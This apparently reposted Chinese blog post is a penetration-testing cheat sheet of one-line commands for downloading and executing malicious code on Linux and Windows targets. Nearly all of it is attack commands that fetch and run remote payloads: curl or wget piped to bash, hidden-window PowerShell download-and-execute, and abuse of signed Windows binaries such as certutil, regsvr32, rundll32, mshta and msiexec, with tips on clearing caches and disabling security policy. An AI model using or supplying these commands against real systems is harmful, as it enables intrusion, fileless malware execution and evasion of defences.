zoukankan      html  css  js  c++  java
  • 通过命令下载执行恶意代码

    通过命令下载执行恶意代码的几种姿势

    在渗透过程中,攻击者往往需要通过命令下载执行恶意代码,实现信息收集、持久化、权限提升、防御绕过、提取凭证、横向移动、数据渗出等操作。

    在目标主机执行恶意代码,可以分为上传/下载并执行恶意代码和无文件远程恶意代码执行。接下来,我们来总结一下Linux和Windows中下载和执行恶意代码的一些姿势。

    一、Linux 远程恶意代码执行

    01、curl

    以用curl的方式执行http页面上的shell脚本,无需download,在本地机器上直接执行。

    方式1:curl -fsSL http://192.168.99.19:8080/test.sh | bash
    方式2:bash < <( curl http://192.168.99.19:8080/test.sh  )
    

    02、wget

    执行wget命令远程下载恶意程序。

    方式1:wget -q -O- http://192.168.99.19:8080/test.sh | bash
    方式2:wget http://192.168.99.19:8080/shell.txt -O /tmp/x.php && php /tmp/x.php
    

    curl+wget合并,实现无文件远程恶意代码执行。

    bash -c '(curl -fsSL http://192.168.99.19:8080/test.sh||
    wget -q -O- http://192.168.99.19:8080/test.sh)|bash -sh >/dev/null 2>&1&'
    

    03、rcp

    rcp命令用于复制远程文件或目录。

    rcp root@x.x.x.x:./testfile testfile
    

    04、scp

    scp 是 rcp 的加强版,scp 是加密的,rcp 是不加密的。

    scp username@servername:/path/filename /tmp/local_destination
    

    05、rsync

    使用rsync可以进行远程同步,拉取文件到本地服务器。

    rsync -av x.x.x.x:/tmp/passwd.txt  /tmp/passwd.txt
    

    06、sftp

    使用sftp下载远程服务器上的文件。

    sftp admin@192.168.99.242 <<EOF  
    get  /tmp/2.txt            
    quit 
    EOF
    
    二、Windows 远程恶意代码执行

    01、Powershell

    利用powershell远程执行ps1脚本。

    powershell -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.28.128/evil.txt'))"
    

    02、Bitsadmin

    利用bitsadmin命令下载文件到目标机器。

    bitsadmin /transfer n http://192.168.28.128/imag/evil.txt d:	est1.txt
    

    03、certutil

    用于备份证书服务,一般建议下载完文件后对缓存进行删除。

    #下载文件
    certutil -urlcache -split -f http://192.168.28.128/imag/evil.txt test.php
    #删除缓存
    certutil -urlcache -split -f http://192.168.28.128/imag/evil.txt delete
    

    04、rundll32

    使用rundll32.exe,可以通过mshtml.dll执行JavaScript ,依赖于WScript.shell这个组件

    rundll32.exe javascript:"..mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.28.131:8888/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}
    

    05、regsvr32

    远程加载执行,解析.src文件。

    regsvr32.exe /u /n /s /i:http://192.168.28.131:8888/file.sct scrobj.dll
    

    06、wmic

    执行WMIC以下命令从远程服务器下载并运行恶意XSL文件:

    wmic os get /FORMAT:"http://192.168.28.128/evil.xsl"
    

    07、msiexec

    用于安装Windows Installer安装包,可远程执行msi文件。

    msiexec /q /i http://192.168.28.128/evil.msi
    

    08、IEExec

    IEexec.exe应用程序是.NET Framework附带程序,运行IEExec.exe并使用url启动其他程序。

    crosoft.NETFramework64v2.0.50727>caspol.exe -s off
    C:WindowsMicrosoft.NETFramework64v2.0.50727>IEExec.exe http://192.168.28.131/evil.exe
    

    09、mshta

    mshta用于执行.hta文件

    mshta http://192.168.28.128/run.hta
    

    10、msxsl

    msxsl.exe是微软用于命令行下处理XSL的一个程序

    msxsl http://192.168.28.128/scripts/demo.xml http://192.168.28.128/scripts/exec.xsl
    

    11、pubprn.vbs

    在Windows 7以上版本存在一个名为pubprn.vbs的微软已签名WSH脚本,可以利用来解析.sct脚本:

    "C:WindowsSystem32Printing_Admin_Scriptszh-CNpubprn.vbs" 127.0.0.1 script:https://gist.githubusercontent.com/enigma0x3/64adf8ba99d4485c478b67e03ae6b04a/raw/a006a47e4075785016a62f7e5170ef36f5247cdb/test.sct
    

    参考链接

    https://mp.weixin.qq.com/s/pz6y8299gMUOgtZjZv5puw

  • 相关阅读:
    linux办公软件的使用和病毒防范
    需要了解的基本礼仪素养
    遗留问题
    shell基本命令
    shell编程
    遇到过得问题
    mac电脑操作
    Linux编程
    BZOJ 1601 [Usaco2008 Oct]灌水 (建图+mst)
    BZOJ 2653 middle (可持久化线段树+中位数+线段树维护最大子序和)
  • 原文地址:https://www.cnblogs.com/kylingx/p/13532967.html
Copyright © 2011-2022 走看看